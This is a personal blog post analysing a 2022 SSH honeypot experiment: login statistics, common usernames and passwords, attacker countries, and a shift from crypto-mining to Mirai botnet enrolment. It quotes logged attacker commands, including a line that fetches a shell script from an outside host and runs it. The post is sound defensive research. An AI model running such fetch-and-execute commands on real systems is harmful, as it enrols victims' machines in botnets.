Revisiting SSH honeypots (2022)

Back in 2021 I wrote a series of four blog posts on honeypots, what they were, and my experience of running one.  In October 2022 I ran my honeypot experiment again and gave a talk at codeHarbour (video here [1], or my slides are here [2]) where I reviewed the results.  I had intended to write up my 2022 results shortly after the talk, but life happened and I didn't get round to it - as I'm considering running my experiment again in 2024 I figured I'd better write 2022 up!

Setup

As before, I built my honeypot on a virtual machine running in Azure.  I used a honeypot called Cowrie and set it running as just an SSH honeypot   Cowrie can also offer telnet, but I was happy with just SSH and knew the honeypot would be found quickly anyway.

Summary statistics - 2022

• Honeypot online for: 5.5 days by time of analysis
• Unique passwords: 105
• Unique usernames: 69 (only root was permitted to logon)
• Unique IPs attacking the honeypot: 65
• Unique countries: 19
• Unique commands: 17
• First attack: 11 minutes after going live

Reviewing the usernames

Of the 69 unique usernames, a large number related to applications as it's not unusual for Linux systems (where SSH is common) to run applications under a user that matches the application name.  As such there were users such as ansible, postgres, and vagrant.  A number of other application names and purposes (e.g. cameras) were also used.  Expected guest usernames like ftpuser were also found.

As you'd expect, there were also attempts at standard administrator usernames including admin, admin2, pi (the default user on Raspberry Pi installs), and root.

Some names were also tried ( bill, and confusingly mine - jonathan) as was the rather "pleasant" dickhead (also used as a password).

Reviewing the passwords

Sometimes the password matched the username, not entirely unexpected.  There were also cases where default passwords like password and toor (the default for some Linux distributions and the root username) were used.  There were ten passwords that were numbers only as a sequence ( 1, 123, 1234567890), but interestingly qwerty wasn't present.  A historic default of changeme also made the list.

As expected there were some variants on password such as p@ssw0rd and pass but fewer variants than I thought there'd be.  There were no season related passwords (e.g. Summer2019) which surprised me given such passwords were often (maybe still are) regular initial passwords for helpdesks to set up new users.  

On attacking countries

It should be noted that although the honeypot received connections from 19 countries, that it's possible the attackers were not in those countries at all.  Instead their traffic could have been sent over a VPN, or instead sent from an already compromised device in that country.  I checked the count of unique IPs per country, and the top five countries were:

• China - 20
• USA - 18
• Republic of Korea - 5
• Germany - 3
• GB - 3

The remaining countries, with two or fewer unique IPs, were Russian Federation, Hong Kong, Vietnam, Ukraine, Thailand, Switzerland, Sweden, Poland, Netherland, Kuwait, Japan, Italy, Chile, and Bulgaria.

Attacker motivation

When I first ran my honeypot in 2021 the attackers installed crypto miners with a view to mining Monero.  In 2022, two IPs connected and attempted to perform crypto mining using an open source mining tool that the attacker downloaded from GitHub.

Primarily attackers were looking to enrol the devices in the Mirai botnet instead.  This struck me as an interesting change, perhaps down to the difference in financial insentive.  Mining cryptocurrency at someone else's expense is going to yield a high profit, but if instead you can offer a large botnet for hire that may have a greater profit still.  Also, botnet participants could be lower powered devices than cryptocurrency miners which would result in a larger botnet.

Attacker activity

It was interesting to me that for the most part the attackers didn't look around - the intention was to make use of the compute power rather than information extraction.  While there were some instances where commands like ls (list directory contents, like dir on Windows) and uname (get details on the running Linux kernel) were run, the output doesn't appear to have been used.  One session I can see did this:

 /ip cloud print
 ifconfig
 uname -a
 cat /proc/cpuinfo
 ps | grep '[Mm]iner'
 ps -ef | grep '[Mm]iner'
 ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
 echo Hi | cat -n

All of those commands were run in less than two seconds, so there was no time for the output to be used by a human.  Those commands were the only commands sent from that attacker IP, and there's nothing much useful happening there unless the details were being monitored by something on the attacker's machine - perhaps being used as reconnaissance.  From the commands listed above we can see an attempt to view the network configuration of the honeypot using ifconfig, a check for running miner processes using ps, and, bizarrely, echo Hi | cat -n which just outputs a count like this:

jonathan@linux:~$ echo Hi | cat -n
     1  Hi

Miner attempts

For the miners, the attacker changed directory (using cd) to /tmp, cleared the location of any files that started with the name of the miner, and then killed any running miner processes.  Once done wget was used to download the 64-bit version 6.18.0 of the mining tool, decompress it using tar and then start running the miner in a screen session.  screen was used so the process would continue running after the attacker disconnected.  Looking at the command line it appears that Monero was the currency of choice.

Botnet attempts

Connections that attempted to enrol the honeypot in the Mirai botnet used some very quick and dirty scripts to accomplish their task.  Here's an example from one session - I've split the command out onto multiple lines, but originally there were on one line separated with semi-colons:

 yum install wget -y
 apt install wget -y
 cd /tmp
 wget http://109.XX.XX.34/x86.sh
 curl -O http://109.XX.XX.34/x86.sh
 chmod 777 x86.sh
 sh x86.sh microsoft

yum and apt are tools for managing software on Redhat and Debian based Linux distributions respectively.  In this case, the attacker doesn’t check what type of Linux is running and tries to install wget (a tool for making web requests like downloading files) using both commands.  If you run yum on a Debian system it’ll just fail and the script will move on, and running apt on a Redhat system will do likewise.  If wget is already installed then neither command will do any harm.

Once the attacker has wget available they try to download a script called x86.sh. Interestingly they try to do that with curl also, despite making no attempt to install it first. Using chmod, the attacker makes the script runnable (executable), as by default files are not executable in Linux.  A mode of 777 also makes the file world readable and writable to all users - it’s a sloppy choice, but the attacker is after quick results.

Finally the attacker runs the script via sh.  It should be noted though that if you're passing the script into sh as an argument like that you don't need to make the script executable first.  When I pulled a copy of the script I couldn't see that the command argument (microsoft in this case) was ever used.

Examining the script itself showed that it attempted to download a binary file (I'm assuming so, as the variable was called binarys) for multiple processor architectures.  If the downloaded file ran the script execution would be paused until the program execution finished.  The script itself tried to use wget, curl, and tftp to perform its downloads, without checking any of them were installed first.

Passing the script to VirusTotal for analysis showed the script itself related to Mirai.

Conclusions

I'll finish here, as this post is getting quite long.  The most interesting thing for me was seeing how motivation had changed from mining cryptocurrency in 2021 to enrolling in a botnet in 2022.  I also found it interesting how the attackers just ran commands and hoped for the best - there was no interest in quality to the process.

Banner image: VirusTotal results with MIELE by dordy on OpenClipart.org (modified) inlaid.

[1] In my video I comment that the number of attacks from the Russian Federation is lower than I'd expect because "they're a bit busy at the moment".  I'd like to apologise for that comment, which was unplanned and in poor taste.  I had not intended to make light of the Russia / Ukraine war.

[2] You may view this presentation for academic purposes, but may not use this slide deck to give your own presentation (i.e. you may not attempt to pass my work off as your own).  You may not use this slide deck or the research within for commercial purposes.